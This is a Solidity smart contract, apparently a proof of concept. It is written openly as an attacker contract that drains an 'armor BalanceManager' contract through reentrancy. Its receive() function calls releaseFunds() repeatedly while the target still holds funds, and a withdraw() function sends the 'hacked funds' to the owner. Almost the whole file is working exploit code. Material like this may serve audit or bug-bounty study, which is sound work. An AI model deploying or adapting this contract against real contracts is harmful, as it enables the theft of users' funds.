pragma solidity 0.8.0; interface ArmorBalanceManager { function releaseFunds() external; } contract Attacker { // Make sure that only the hacker can call this malicious contract modifier onlyOwner() { require(owner == msg.sender); _; } address armorBalanceManagerAddress; address owner; // The rewardBalance state of the BalanceManager contract uint rewardBalance; // The govBalance state of the BalanceManager contract uint govBalance; // Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) { armorBalanceManagerAddress = armorBalanceManagerAddress_; rewardBalance = rewardBalance_; govBalance = govBalance_; owner = msg.sender; } /* Attack the armor contract by calling releaseFunds until the contract is empty. The contract will be reentered via the IRewardManager(getModule("GOVSTAKE")).notifyRewardAmount{value: govBalance}(govBalance); line for as long as the contract has enough funds. It only requires the govBalance to be high enough to be profitable since here the attack will take place. */ function attack() payable public { // Only reenter again when the contract has atleast rewardBalance or govBalance eth if(armorBalanceManagerAddress.balance >= rewardBalance || armorBalanceManagerAddress.balance >= govBalance) { ArmorBalanceManager(armorBalanceManagerAddress).releaseFunds(); } } // When receiving eth, call the attack receive() external payable { attack(); } // Withdraw hacked funds function withdraw() payable public onlyOwner { payable(msg.sender).call{value: address(this).balance}(""); } }
0.4.18